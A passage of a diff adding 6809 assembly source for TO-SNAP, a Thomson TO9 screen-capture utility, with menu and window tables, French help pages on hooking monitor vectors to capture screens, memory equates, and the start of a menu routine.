+       FCB    0
+       FCB    FLOCR,2,0,1,1
+       FCB    FTEXTE,BALISE,0
+       FCB    FPOUSS,$53,OFF
+       FCB    FEDI,HT,HT
+       FCC    \Supprimer\
+       FCB    0
+       FCB    FLOCR,2,0,1,1
+       FCB    FTEXTE,BALISE,0
+       FCB    FPOUSS,$41,OFF
+       FCB    FEDI,HT,HT
+       FCC    \Animers\
+       FCB    0
+       FCB    FLOCR,2,0,1,1
+       FCB    FTEXTE,BALISE,0
+       FCB    FPOUSS,FF,OFF
+       FCB    FEDI,HT,HT
+       FCC    \Annuler\
+       FCB    0
+       FCB    FLOCF,10,23,11,15
+       FCB    FLOCR,7,10,1,2
+       FCB    FTOURE,FCADRE
+       FCB    FCZI,255,DECIM
+       FCB    FSTOP
+
+FENMEN FCB    FLOCF,0,0,15,18
+       FCB    FCOULF,BLEUCI
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FCOMF,FF,OFF
+       FCB    FLOCF,1,10,1,10
+       FCB    FEDI
+       FCC    \Vue\
+       FCB    0
+       FCB    FLOCF,1,14,1,2
+       FCB    FCOULF,BLANC
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FCOULF,TRANSP
+       FCB    FLOCF,3,1,1,16
+       FCB    FPOUSS,$4C,OFF
+       FCB    FEDI
+       FCC    \LANCERAVECSNAP\
+       FCB    0
+       FCB    FLOCR,2,0,1,16
+       FCB    FPOUSS,$44,OFF
+       FCB    FEDI
+       FCC    \DIAPORAMA\
+       FCB    0
+       FCB    FLOCR,2,0,1,16
+       FCB    FPOUSS,$49,OFF
+       FCB    FEDI
+       FCC    \INFOVIDEO\
+       FCB    0
+       FCB    FLOCR,2,0,1,16
+       FCB    FPOUSS,$46,OFF
+       FCB    FEDI
+       FCC    \FICHIERS\
+       FCB    0
+       FCB    FLOCR,2,0,1,16
+       FCB    FPOUSS,$4D,OFF
+       FCB    FEDI
+       FCC    \MODED'EMPLOI\
+       FCB    0
+       FCB    FLOCR,2,0,1,16
+       FCB    FPOUSS,$51,OFF
+       FCB    FEDI
+       FCC    \QUITTER\
+       FCB    0
+       FCB    FSTOP
+
+FENTIT FCB    FLOCF,0,0,6,19    titre
+       FCB    FCOULF,ORANGE
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FLOCR,1,2,20,20
+       FCB    FEDI
+       FCC    \TO-SNAP\
+       FCB    0
+       FCB    FLOCR,2,4,20,20
+       FCB    FEDI
+       FCC    \HMEL-92V1.1\
+       FCB    0
+       FCB    FSTOP
+
+FENFIC FCB    FLOCF,0,0,20,20
+       FCB    FCOULF,BLEUCI
+       FCB    FTOURE,FCADRE,FFOND
+       FCB    FCOMF,FF,ON
+       FCB    FLOCF,1,1,1,14
+       FCB    FPOUSS,$50,OFF
+       FCB    FEDI
+       FCC    \Pr\
+       FCB    SS2,$42
+       FCC    \eciserunit\
+       FCB    SS2,$42,$65
+       FCB    0
+       FCB    FLOCR,2,0,1,14
+       FCB    FPOUSS,$49,OFF
+       FCB    FEDI
+       FCC    \Initialiser\
+       FCB    0
+       FCB    FLOCR,2,0,1,18
+       FCB    FPOUSS,$43,OFF
+       FCB    FEDI
+       FCC    \Catalogue\
+       FCB    0
+       FCB    FLOCR,2,0,1,18
+       FCB    FPOUSS,$52,OFF
+       FCB    FEDI
+       FCC    \Renommerfichier\
+       FCB    0
+       FCB    FLOCR,2,0,1,18
+       FCB    FPOUSS,$53,OFF
+       FCB    FEDI
+       FCC    \Supprimerfichier\
+       FCB    0
+       FCB    FLOCR,2,0,1,18
+       FCB    FPOUSS,$44,OFF
+       FCB    FEDI
+       FCC    \Dupliquerfichier\
+       FCB    0
+       FCB    FLOCR,3,0,1,18
+       FCB    FPOUSS,$4C,OFF
+       FCB    FEDI
+       FCC    \Lire\
+       FCB    SS2,$42
+       FCC    \ecran\
+       FCB    0
+       FCB    FLOCR,2,0,1,18
+       FCB    FPOUSS,$45,OFF
+       FCB    FEDI
+       FCC    \Ecrire\
+       FCB    SS2,$42
+       FCC    \ecran\
+       FCB    0
+       FCB    FLOCR,2,5,1,13
+       FCB    FTEXTE
+       FCC    \pellicule\
+       FCB    BALISE,0
+       FCB    FLOCR,0,10,1,1
+       FCB    FINV,$10,OFF
+       FCB    FCOULF,BLANC
+       FCB    FLOCF,1,16,2,3
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FSTOP
+
+* Pages de mode d'emploi
+*---------------------------------------
+
+HLP1   FCC    \TO-SNAPapourbut:\
+       FCB    RC,LF,LF
+       FCC    \-Lacaptured'\
+       FCB    SS2,$42
+       FCC    \ecransd'autres\
+       FCB    RC,LF
+       FCC    \logiciels.\
+       FCB    RC,LF,LF
+       FCC    \-Lam\
+       FCB    SS2,$42
+       FCC    \emorisationdeces\
+       FCB    SS2,$42
+       FCC    \ecrans\
+       FCB    RC,LF
+       FCC    \pourdiffusionult\
+       FCB    SS2,$42
+       FCC    \erieure.\
+       FCB    RC,LF,LF
+       FCC    \Lelogicielestcharg\
+       FCB    SS2,$42
+       FCC    \eentant\
+       FCB    RC,LF
+       FCC    \qu'application"cartou\
+       FCC    \che"dedeux\
+       FCB    RC,LF
+       FCC    \banksetdemeuredoncr\
+       FCB    SS2,$42
+       FCC    \esidenten\
+       FCB    RC,LF
+       FCC    \RAM.\
+       FCB    RC,LF
+       FCC    \Apartirdecesoftil\
+       FCC    \estpossible\
+       FCB    RC,LF
+       FCC    \d'activerd'autresprog\
+       FCC    \rammesen\
+       FCB    RC,LF
+       FCC    \maintenantenm\
+       FCB    SS2,$42
+       FCC    \emoirenoncommutable\
+       FCB    RC,LF
+       FCC    \unimplantr\
+       FCB    SS2,$42
+       FCC    \eduitdontler\
+       FCB    SS2,$43
+       FCC    \olesera\
+       FCB    RC,LF
+       FCC    \decommuterpuisder\
+       FCB    SS2,$42
+       FCC    \eactiverTO-SNAP\
+       FCB    0
+
+HLP2   FCC    \C'estund\
+       FCB    SS2,$42
+       FCC    \eroutementdevecteurs\
+       FCB    RC,LF
+       FCC    \RAMdumoniteurquiper\
+       FCC    \metl'ex\
+       FCB    SS2,$42
+       FCC    \ecu-\
+       FCB    RC,LF
+       FCC    \tiondel'implant.\
+       FCB    RC,LF,LF
+       FCC    \UnefoisTO-SNAPrelan\
+       FCC    \c\
+       FCB    SS2,$42
+       FCC    \e,l'\
+       FCB    SS2,$42
+       FCC    \ecran\
+       FCB    RC,LF
+       FCC    \courantestautomatique\
+       FCC    \mentstock\
+       FCB    SS2,$42
+       FCC    \e\
+       FCB    RC,LF
+       FCC    \danslepremier\
+       FCB    SS2,$42
+       FCC    \ecrandemanoeuvre.\
+       FCB    RC,LF,LF
+       FCC    \Ilpeutalorssubir\
+       FCC    \quelquesmodif-\
+       FCB    RC,LF
+       FCC    \ications(palette,tour\
+       FCC    \quinepeut\
+       FCB    RC,LF
+       FCC    \\
+       FCB    SS2,$43
+       FCC    \etreacquisparlehard.\
+       FCC    \..)puis\
+       FCB    RC,LF
+       FCC    \archiv\
+       FCB    SS2,$42
+       FCC    \esurfichier.\
+       FCB    0
+
+HLP3   FCC    \Encasded\
+       FCB    SS2,$42
+       FCC    \eroutementdeRESETP,\
+       FCB    RC,LF
+       FCC    \l'activationdeTO-SNAP\
+       FCC    \estobtenue\
+       FCB    RC,LF
+       FCC    \parlepoussoirINIT...\
+       FCB    RC,LF,LF
+       FCC    \ATTENTION:avecles\
+       FCC    \ROMsstandards\
+       FCB    RC,LF
+       FCC    \l'\
+       FCB    SS2,$42
+       FCC    \ecrann'estcaptur\
+       FCB    SS2,$42
+       FCC    \eques'il\
+       FCB    RC,LF
+       FCC    \estenmodeTO7-70.(Je\
+       FCC    \disposed'uneROMmodif\
+       FCC    \i\
+       FCB    SS2,$42
+       FCC    \eesanscettelimitation\
+       FCC    \).\
+       FCB    RC,LF,LF
+       FCC    \Encasded\
+       FCB    SS2,$42
+       FCC    \eroutementdeFIRQPTon\
+       FCB    RC,LF
+       FCC    \utilisel'interruption\
+       FCC    \hardFIRQ\
+       FCB    RC,LF
+       FCC    \accessiblesurlebus\
+       FCC    \ougraceau\
+       FCB    RC,LF
+       FCC    \6821syst\
+       FCB    SS2,$41
+       FCC    \emesurleconnecteurdu\
+       FCB    RC,LF
+       FCC    \crayonoptiqueparun\
+       FCC    \poussoir\
+       FCB    RC,LF
+       FCC    \sp\
+       FCB    SS2,$42
+       FCC    \ecifique(pr\
+       FCB    SS2,$42
+       FCC    \evupourcodebarre).\
+       FCB    0
+
+HLP4   FCC    \Encasded\
+       FCB    SS2,$42
+       FCC    \eroutementd'uneroutine\
+       FCB    RC,LF
+       FCC    \moniteur(GETLP..GETSC)\
+       FCC    \l'implant\
+       FCB    RC,LF
+       FCC    \testelepoussoirci-de\
+       FCC    \ssus.GETCH\
+       FCB    RC,LF
+       FCC    \etGETLPsontlesplus\
+       FCC    \efficaces\
+       FCB    RC,LF
+       FCC    \puisquetr\
+       FCB    SS2,$41
+       FCC    \essouventutilis\
+       FCB    SS2,$42
+       FCC    \es.\
+       FCB    RC,LF,LF
+       FCC    \Encasded\
+       FCB    SS2,$42
+       FCC    \eroutementdeTIMEPT,\
+       FCB    RC,LF
+       FCC    \l'implantestappel\
+       FCB    SS2,$42
+       FCC    \eparl'horloge\
+       FCB    RC,LF
+       FCC    \syst\
+       FCB    SS2,$41
+       FCC    \eme.Iltestealorsle\
+       FCC    \m\
+       FCB    SS2,$43
+       FCC    \eme\
+       FCB    RC,LF
+       FCC    \poussoir.\
+       FCB    RC,LF,LF
+       FCC    \Led\
+       FCB    SS2,$42
+       FCC    \eroutementBUFCLVestle\
+       FCC    \plus\
+       FCB    RC,LF
+       FCC    \"tordu".Lebufferclav\
+       FCC    \ierest\
+       FCB    RC,LF
+       FCC    \d\
+       FCB    SS2,$42
+       FCC    \erout\
+       FCB    SS2,$42
+       FCC    \esurlevecteurd'indir\
+       FCC    \ection\
+       FCB    RC,LF
+       FCC    \RAMdeGETCH.Lasaisie\
+       FCC    \de_lefait\
+       FCB    RC,LF
+       FCC    \passerde$FF8E\
+       FCB    SS2,$41
+       FCC    \a$5F8E,adresseo\
+       FCB    SS2,$41
+       FCC    \u\
+       FCB    RC,LF
+       FCC    \ond\
+       FCB    SS2,$42
+       FCC    \erouteGETCHversl'imp\
+       FCC    \lantstd.\
+       FCB    0
+
+HLP5   FCC    \Commeiln'estpaspos\
+       FCC    \siblesurTO\
+       FCB    RC,LF
+       FCC    \des\
+       FCB    SS2,$42
+       FCC    \ecuriserlaRAM,ilfaut\
+       FCC    \souvent\
+       FCB    RC,LF
+       FCC    \tatonnerpourtrouver\
+       FCC    \led\
+       FCB    SS2,$42
+       FCC    \eroutement\
+       FCB    RC,LF
+       FCC    \quiconvient(ainsi\
+       FCC    \qu'\
+       FCB    SS2,$42
+       FCC    \eventuel-\
+       FCB    RC,LF
+       FCC    \lementl'adressedel'\
+       FCC    \implant).\
+       FCB    RC,LF,LF
+       FCC    \Ilya\
+       FCB    SS2,$42
+       FCC    \egalementdessofts\
+       FCC    \blind\
+       FCB    SS2,$42
+       FCC    \es\
+       FCB    RC,LF
+       FCC    \quir\
+       FCB    SS2,$42
+       FCC    \einitialisenttousles\
+       FCC    \vecteurs.\
+       FCB    RC,LF
+       FCC    \Seulesolution:d\
+       FCB    SS2,$42
+       FCC    \erouterRESETPavec\
+       FCB    RC,LF
+       FCC    \uneROMmoniteursp\
+       FCB    SS2,$42
+       FCC    \ecifique...\
+       FCB    RC,LF,LF
+       FCC    \Branchementdupoussoi\
+       FCC    \r"travail"\
+       FCB    RC,LF
+       FCC    \entrelesplots2et4\
+       FCC    \d'uneprise\
+       FCB    RC,LF
+       FCC    \51DINm\
+       FCB    SS2,$43
+       FCC    \ale5plots240\
+       FCB    SS2,$30
+       FCB    RC,LF,LF
+       FCC    \42(vuecot\
+       FCB    SS2,$42
+       FCC    \esoudure)\
+       FCB    RC,LF
+       FCC    \3\
+       FCB    0
+
+HLP6   FCC    \Lesfichiersg\
+       FCB    SS2,$42
+       FCC    \er\
+       FCB    SS2,$42
+       FCC    \esparTO-SNAPsont\
+       FCB    RC,LF
+       FCC    \des.MAPclassiquesave\
+       FCC    \cdesinfos\
+       FCB    RC,LF
+       FCC    \suppl\
+       FCB    SS2,$42
+       FCC    \ementairespourlemode\
+       FCC    \vid\
+       FCB    SS2,$42
+       FCC    \eo.\
+       FCB    RC,LF,LF
+       FCC    \LelogicielBASICTO-\
+       FCC    \SNAP.BASvous\
+       FCB    RC,LF
+       FCC    \montrecommentutiliser\
+       FCC    \compl\
+       FCB    SS2,$41
+       FCC    \etement\
+       FCB    RC,LF
+       FCC    \detelsfichiers\
+       FCB    SS2,$41
+       FCC    \apartirdevos\
+       FCB    RC,LF
+       FCC    \propresprogrammes!\
+       FCB    0
+
+HLP7   FCC    \Commandesdisponibles\
+       FCC    \horsmenu\ :\
+       FCB    RC,LF,LF
+       FCC    \L:\
+       FCC    \lancementprog.avec\
+       FCC    \SNAPactif\
+       FCB    RC,LF
+       FCC    \D:\
+       FCC    \acc\
+       FCB    SS2,$41
+       FCC    \es\
+       FCC    \audiaporama\
+       FCB    RC,LF
+       FCC    \I:\
+       FCC    \acc\
+       FCB    SS2,$41
+       FCC    \esauxinfo.vid\
+       FCB    SS2,$42
+       FCC    \eo\
+       FCB    RC,LF
+       FCC    \F:\
+       FCC    \acc\
+       FCB    SS2,$41
+       FCC    \esaumenufichier\
+       FCB    RC,LF
+       FCC    \Q:\
+       FCC    \quitteTO-SNAP\
+       FCB    RC,LF
+       FCB    HT,SS2,$2C,SS2,$2D
+       FCC    \:\
+       FCC    \visualisel'\
+       FCB    SS2,$42
+       FCC    \eRCanpr\
+       FCB    SS2,$42
+       FCC    \ec\
+       FCB    SS2,$42
+       FCC    \edent\
+       FCB    RC,LF
+       FCB    HT,SS2,$2E,SS2,$2F
+       FCC    \:\
+       FCC    \visualisel'\
+       FCB    SS2,$42
+       FCC    \eRCansuivant\
+       FCB    RC,LF
+       FCC    \DEL:d\
+       FCB    SS2,$42
+       FCC    \etruitl'\
+       FCB    SS2,$42
+       FCC    \eRCancourant\
+       FCB    RC,LF,LF
+       FCC    \Commandesdufen\
+       FCB    SS2,$43
+       FCC    \etrage :\
+       FCB    RC,LF,LF
+       FCC    \RAZ:\
+       FCB    SS2,$42
+       FCC    \fermefen\
+       FCB    SS2,$43
+       FCC    \etre,annules\
+       FCB    SS2,$42
+       FCC    \election\
+       FCB    RC,LF
+       FCC    \ENT:\
+       FCC    \acceptes\
+       FCB    SS2,$42
+       FCC    \election\
+       FCB    0
+
+* Motifs
+*---------------------------------------
+
+       FDB    $F00F,$F00F,$F00F,$F00F
+TRAME  EQU    *
+
+       FDB    $0000,$0000,$0000,$0000
+VIDE   EQU    *
+
+*      Palette du mode dialogue
+*---------------------------------------
+
+PALDEF FDB    0000,0015,0240,0255
+       FDB    3840,3855,4080,4095
+       FDB    1911,0826,0931,0938
+       FDB    2611,2618,3815,0123
+
+*      Mémorisation palette à l'appel
+*---------------------------------------
+
+TFMEMO FCB    $FF
+TMEMO  FDB    $FFFF,$FFFF,$FFFF,$FFFF
+       FDB    $FFFF,$FFFF,$FFFF,$FFFF
+       FDB    $FFFF,$FFFF,$FFFF,$FFFF
+       FDB    $FFFF,$FFFF,$FFFF,$FFFF
+
+*      Mémo flag échec boot & vecteurs
+*---------------------------------------
+
+VECTMM FDB    $0000,$0000,$0000,$0000
+       FDB    $0000,$0000,$0000,$0000
+       FDB    $0000,$0000,$0000
+TIMEMM FDB    $0000
+IRQMM  FDB    $0000
+FIRQMM FDB    $0000
+SWIMM  FDB    $0000
+PTGEMM FDB    $0000
+RESEMM FCB    $00
+       FDB    $0000
+BUFCMM FDB    $0000
+SIZCMM FCB    $00
+USERMM FDB    $0000
+FLGBOO FCB    0
+ADRIT  FDB    $608E
+
+*      Mnémo des déroutements SNAP
+*---------------------------------------
+
+TYPDER FCB    0       défaut par FIRQ
+
+TABDER FCB    $44,SS2,$42
+       FCC    \erouteFIRQPT\
+       FCB    0,$44,SS2,$42
+       FCC    \erouteRESETP\
+       FCB    0,$44,SS2,$42
+       FCC    \erouteTIMEPT\
+       FCB    0,$44,SS2,$42
+       FCC    \erouteGETLP\
+       FCB    0,$44,SS2,$42
+       FCC    \erouteLPINT\
+       FCB    0,$44,SS2,$42
+       FCC    \erouteGETPERI\
+       FCB    0,$44,SS2,$42
+       FCC    \erouteGACHPERI\
+       FCB    0,$44,SS2,$42
+       FCC    \eroutePUTCH\
+       FCB    0,$44,SS2,$42
+       FCC    \erouteGETCH\
+       FCB    0,$44,SS2,$42
+       FCC    \erouteDRAWXY\
+       FCB    0,$44,SS2,$42
+       FCC    \eroutePLOTXY\
+       FCB    0,$44,SS2,$42
+       FCC    \erouteRSCONT\
+       FCB    0,$44,SS2,$42
+       FCC    \erouteGETPT\
+       FCB    0,$44,SS2,$42
+       FCC    \erouteGETSC\
+       FCB    0,$44,SS2,$42
+       FCC    \erouteBUFCLV\
+       FCB    0
+
+*      Mnémo des modes graphiques
+*---------------------------------------
+
+TMNGR  FCB    $00,0
+       FCC    \TO7-70\
+       FCB    0
+       FCB    $80,1
+       FCC    \80colonnes   \
+       FCB    0
+       FCB    $40,3
+       FCC    \Bitmap 16     \
+       FCB    0
+       FCB    $20,11
+       FCC    \Tripleoverlay\
+       FCB    0
+       FCB    $08,7
+       FCC    \Doubleoverlay\
+       FCB    0
+       FCB    $04,5
+       FCC    \Page2\
+       FCB    0
+       FCB    $02,4
+       FCC    \Page1\
+       FCB    0
+       FCB    $01,2
+       FCC    \Bitmap 4      \
+       FCB    0
+       FCB    $FF
+
+****************************************
+*  M E S S A G E S                     *
+****************************************
+
+MLIRE  FCB    ESC,$4E
+       FCC    \LIRE\
+       FCB    ESC,$4C,0
+MOUT   FCC    \MEMOIREinsuffisante\
+       FCB    0
+MVFICH FCB    ESC,$4E,HT,SS2,$2E
+       FCC    \FICHIER\
+       FCB    ESC,$4C,0
+MVPEL  FCB    ESC,$4E,HT,SS2,$2E
+       FCC    \PELLICULE\
+       FCB    ESC,$4C,0
+MCOMAL FCC    \To-snap\
+       FCB    0
+MPLEIN FCC    \PLUSD'ECRANVIERGE\
+       FCB    0
+MPASPH FCC    \ECRANVIERGE\
+       FCB    0
+MERRX  FCC    \ERREURCOMMUNICATION\
+       FCB    0
+MPELVI FCC    \PELLICULEVIERGE\
+       FCB    0
+MNUMP  FCC    \LAISSER2##(NUMERO)\
+       FCB    0
+MPATIR FCC    \PASDETIROIR\
+       FCB    0
+PASBOO FCC    \PASDESECTEURDEBOOT\
+       FCB    0
+MSANN  FCC    \SANS-NOM\
diff --git a/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-EQ.ASM b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-EQ.ASM
new file mode 100755
index 0000000..0dc7fce
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-EQ.ASM
@@ -0,0 +1,308 @@
+       TITLE  TO-PHOTO: Equates
+*      ------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           TO-PHOTO                   *
+*                                      *
+*    Equates                           *
+*                                      *
+****************************************
+
+
+* Definition des points d'entree dans
+* le moniteur TO9
+*-------------------------------------
+
+STATUS EQU    $6019   état machine
+RANG   EQU    $601B   rangee courante
+COLN   EQU    $6020   colonne courante
+IRQPT  EQU    $6021   vecteur IRQ
+FIRQPT EQU    $6023   vecteur FIRQ
+TIMEPT EQU    $6027   vecteur IT timer
+RSOPC  EQU    $602B
+USERAF EQU    $602D   pt car. user
+SWIPT  EQU    $602F   vecteur SWI1
+FORME  EQU    $6038
+ATRANG EQU    $6039   attrib. courants
+ATRSCR EQU    $603A   ...     écran
+COLOUR EQU    $603B   couleur cour.
+TELETL EQU    $603C   mode page
+CHDRAW EQU    $6041   tracé point ou car
+BAUDS  EQU    $6044
+NOMBRE EQU    $6046
+MAXBK  EQU    $6047   dernier bank libre
+DKOPC  EQU    $6048   code op. DKCO
+DKDRV  EQU    $6049   drive courant
+DKNUM  EQU    $604D   entrelacement
+SAVCOL EQU    $605C
+REACLV EQU    $605E   pt buf clav
+SCRMOD EQU    $605F   mode écran
+WRICLV EQU    $6067   pt buf clav
+BUFCLV EQU    $6079   pt buffer clavier
+SIZCLV EQU    $607B   lg buffer clavier
+RUNFLG EQU    $607F   flag démarr. auto
+IDSAUT EQU    $6082   buffer clav. std.
+RESETP EQU    $6088   init. periph.
+PTGENE EQU    $60CF   géné. car.
+TSTRST EQU    $60FE   flag démarrage
+
+VALTYP EQU    $6105   calculs
+FACMO  EQU    $6150
+FACLO  EQU    $6151
+ARGMO  EQU    $615B
+ARGLO  EQU    $615C
+DEBZON EQU    $616B
+FINZON EQU    $616E
+EOFFLG EQU    $6178
+NAMSEC EQU    $618E
+NAMSLT EQU    $618F
+CARCOU EQU    $6196
+SECBUF EQU    $6197
+FATPTR EQU    $6199
+COULGR EQU    $619F   couleur graphique
+TRATYP EQU    $61A0   type tracé
+XXXXXX EQU    $61A1   curseur graphique
+YYYYYY EQU    $61A3   .
+XL     EQU    $61A5   marges graphiques
+YB     EQU    $61A7
+XR     EQU    $61A9
+YT     EQU    $61AB
+X0COD  EQU    $61D6
+Y0COD  EQU    $61D7
+X1COD  EQU    $61D8
+Y1COD  EQU    $61D9
+PASSCD EQU    $61DB
+LSTBYT EQU    $61DC
+FILFLG EQU    $61EF   flag remplissage
+AXEH   EQU    $61F1   rayons ellipses
+AXEV   EQU    $61F0
+CAMFLG EQU    $61F2
+
+PUTFLG EQU    $6249   mode cod/decod ima
+FILMOD EQU    $624B
+FILTYP EQU    $624C
+ASCFLG EQU    $624D
+FILNAM EQU    $624F   nom fichier
+OPTBUF EQU    $625A
+MACP   EQU    $627D   pt motif rempliss.
+WITH   EQU    $6288   type tracé
+
+
+DRA    EQU    $E7CC     registres 6821
+DDRA   EQU    $E7CC
+CRA    EQU    $E7CE     manettes et son
+
+BANKC  EQU    $E7E5   gate commut bank
+
+SIOTRN EQU    $E7E8   reg. TD/RD ACIA
+SIOSTA EQU    $E7E9   reg. état   ...
+SIOCMD EQU    $E7EA   reg. comm   ...
+
+PUTC   EQU    $E803   edition ecran
+INITC  EQU    $E800   init ecran
+GETC   EQU    $E806   lecture clavier
+KTST   EQU    $E809   test clavier
+DRAW   EQU    $E80C   ecriture trait
+PLOT   EQU    $E80F   ecriture point
+RSCO   EQU    $E812   e/s
+GETL   EQU    $E818   lect souris
+LPIN   EQU    $E81B   lect touche souris
+GETP   EQU    $E821   lect point graphi.
+GETS   EQU    $E824   lect écran
+DKCO   EQU    $E82A   accès disquette
+MENU   EQU    $E82D   retour TO9
+KBIN   EQU    $E830   clig. curs. IT
+SETP   EQU    $EC00   definition couleur
+COMS   EQU    $EC03   appel sur ROM
+EXTRA  EQU    $EC0C   extra. moniteur
+RESETC EQU    0       .
+RESETW EQU    1       .
+FCBINI EQU    2       .
+OPEN   EQU    3       .
+PRINT  EQU    4       .
+INPUT  EQU    5       .
+CLOSE  EQU    6       .
+DIR0   EQU    8       .
+KILL   EQU    14      .
+ERRMSG EQU    20      .
+CIRCLE EQU    24      .
+PSETXY EQU    25      .
+LINE   EQU    26      .
+BOX    EQU    27      .
+CHOIX  EQU    28      .
+PAINT  EQU    29      .
+MIG    EQU    30      .
+SHOW   EQU    33      .
+MOVE   EQU    38      .
+INITOR EQU    39      .
+CMPTOR EQU    40      .
+SGN    EQU    41      .
+SQR    EQU    44      .
+FRCTYP EQU    50      .
+SUBGO  EQU    55      .
+MULTGO EQU    56      .
+DIVGO  EQU    57      .
+MOVFM  EQU    62      .
+MOVMF  EQU    63      .
+MOVAF  EQU    64      .
+EXTFIN EQU    65      .
+CODE   EQU    69      .
+
+SQI    EQU    $10     accès fichier
+SQO    EQU    $20
+
+
+* Equates MIG
+*---------------------------------------
+
+STOP   EQU    0
+ABS    EQU    5
+REL    EQU    6
+LFCUR  EQU    7
+FCUR   EQU    8
+BOITE  EQU    14
+ROND   EQU    17
+
+* Equates caractères
+*---------------------------------------
+
+SOH    EQU    $01
+EOT    EQU    $04
+ACK    EQU    $06
+BS     EQU    $08     codes ASCII ctrl
+HT     EQU    $09
+LF     EQU    $0A
+VT     EQU    $0B
+FF     EQU    $0C
+RC     EQU    $0D
+NACK   EQU    $15
+SS2    EQU    $16
+CAN    EQU    $18
+ESC    EQU    $1B
+INS    EQU    $1C
+EFF    EQU    $1D
+RS     EQU    $1E
+US     EQU    $1F
+SP     EQU    $20
+GRAVE  EQU    $41
+AIGU   EQU    $42
+CIRCON EQU    $43
+DEL    EQU    $7F
+
+* Définition des couleurs bit map 4
+*---------------------------------------
+
+TROSE  EQU    7
+TROUGE EQU    6
+TCYAN  EQU    5
+TBLEU  EQU    4
+BMNOIR EQU    3
+BMGRIS EQU    2
+BMCLR  EQU    1
+BMBLAN EQU    0
+
+
+* Définition des bank RAM utilisées
+*---------------------------------------
+
+*BKMANO EQU    2      RAM manoeuvre
+*                     (variable)
+PBKPIL EQU    3       Pile fenêtre
+DBKPIL EQU    6
+PBKPEL EQU    7       pellicule
+
+* Déplacements sur RAM
+*---------------------------------------
+
+       ORG    $6800
+
+PILE   EQU    *-1     pile soft
+
+PAGE0  EQU    *
+
+SEGM0  RMB    1
+SEGM1  RMB    1
+SOMME  RMB    1
+CPTGEN RMB    1
+
+ZONFEN RMB    1080    zone fenêtrage
+
+REGCC  RMB    1       pile (/U) des
+REGA   RMB    1       param FEN
+REGB   RMB    1
+REGX   RMB    2
+REGY   RMB    2
+PILFEN EQU    *
+
+BKMANO RMB    1       bank manoeuvre
+BKVID  RMB    1       bank video
+
+DESCOU RMB    8       fichier courant
+
+DESALB RMB    9       album courant
+
+TABPHO RMB    22      table photos
+*                     0  libre
+TABBK  RMB    22      table banks
+TABMOD RMB    22      mode vidéo (basic)
+TABNOM RMB    22*8    noms
+
+PALETE RMB    16*2    palette courante
+TOUR   RMB    1
+
+NUMPHO RMB    1       no photo cour.
+NUMALB RMB    1       no photo album
+OLDPHO RMB    1       ancienne
+MAXPHO RMB    1       no max
+PRMPHO RMB    1       1ére non vierge
+
+XCOULT RMB    1       couleur tour
+
+AVCOUL RMB    1       effet palette
+APCOUL RMB    1
+
+FLGSNA RMB    1
+
+       RMB    8
+PLEIN  EQU    *
+
+MEMTPO RMB    2
+MEMCOD RMB    1
+OUTIL  RMB    1
+REMPLI RMB    1
+MAN1   RMB    1
+MAN2   RMB    1
+
+* 6 descriptions d'applications
+*---------------------------------------
+
+APLTAB RMB    6*33
+APLBK  SET    0       parm COMS -1=>pas
+APLMES SET    1       message
+APLSOC SET    27      soco
+APLAD1 SET    29      adresses
+APLAD2 SET    31
+
+* Buffers
+*---------------------------------------
+
+BUF    RMB    128     buffer manoeuvre
+
+* Zone manoeuvre
+* utilise tout le bank RAM
+*---------------------------------------
+
+ZONTRA EQU    $A000
+LGZTRA EQU    $E000-ZONTRA
+FINTRA EQU    $DFFF
+
+* Zone manoeuvre
+* utilisé pour gérer une photo
+*---------------------------------------
+
+MAPPHO EQU    $A000
+TOUPHO EQU    $DFDE   tour
+MBSPHO EQU    $DFDF   mode basic
+PALPHO EQU    $DFE0
diff --git a/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-MN.ASM b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-MN.ASM
new file mode 100755
index 0000000..42b903a
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-MN.ASM
@@ -0,0 +1,1388 @@
+       TITLE  TO-SNAP:Menusderoulants
+*      ---------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           Menu déroulants            *
+*                                      *
+****************************************
+
+
+*=======================================
+* S/P menu déroulant de gestion info
+*=======================================
+
+MENINF EQU    *
+       LEAS   -39,S
+PBLEU  SET    0
+PVERT  SET    1
+PROUGE SET    2
+NOPAL  SET    3
+MTOUR  SET    4
+MMODE  SET    5
+MPAL   SET    7       32 octets palette
+*---------------------------------------
+
+       LDX    #FENINF
+       LDD    3,X
+       JSR    POPUP
+       JSR    FENOUV
+
+       LDA    NUMPHO
+       LDX    #TABBK
+       LDA    A,X
+       STA    BANKC
+
+       LDA    TOUR
+       STA    MTOUR,S
+
+       LDA    #16
+       LDX    #PALPHO
+       LEAY   MPAL,S
+LIPAI  LDU    ,X++
+       STU    ,Y++
+       DECA
+       BNE    LIPAI     ->
+
+       LDA    NUMPHO
+       LDX    #TABMOD
+       LDB    A,X
+       STB    MMODE,S
+       LDX    #TMNGR
+BAFMV  LDA    ,X
+       CMPA   #$FF
+       BEQ    PERMO    pas trouve ->
+       CMPA   MMODE,S
+       BEQ    POKMO    ->
+       LEAX   17,X
+       BRA    BAFMV    ->
+PERMO  LDX    #TMNGR
+POKMO  STX    MMODE,S
+
+       CLR    NOPAL,S
+EXCI00 LEAX   MPAL,S
+       LDA    NOPAL,S
+       LSLA
+       LEAX   A,X
+       LDA    ,X
+       ANDA   #$0F
+       STA    PBLEU,S
+       LDA    1,X
+       LSRA
+       LSRA
+       LSRA
+       LSRA
+       STA    PVERT,S
+       LDA    1,X
+       ANDA   #$0F
+       STA    PROUGE,S
+
+EXECI0 JSR    FENDES
+       LDB    #$5A     coul palette
+       JSR    FENCH
+       CLRA
+       LDB    NOPAL,S
+       LDX    #BUF
+       LDY    #2
+       JSR    BINDCD
+       JSR    FENEDI
+
+       LDA    PBLEU,S
+       LDB    PVERT,S
+       LSLB
+       LSLB
+       LSLB
+       LSLB
+       ORB    PROUGE,S
+       TFR    D,Y
+       LEAX   MPAL,S
+       LDA    NOPAL,S
+       LSLA
+       STY    A,X
+       PSHS   Y
+       LDA    #ORANGE
+       LDX    #0
+       JSR    SETP
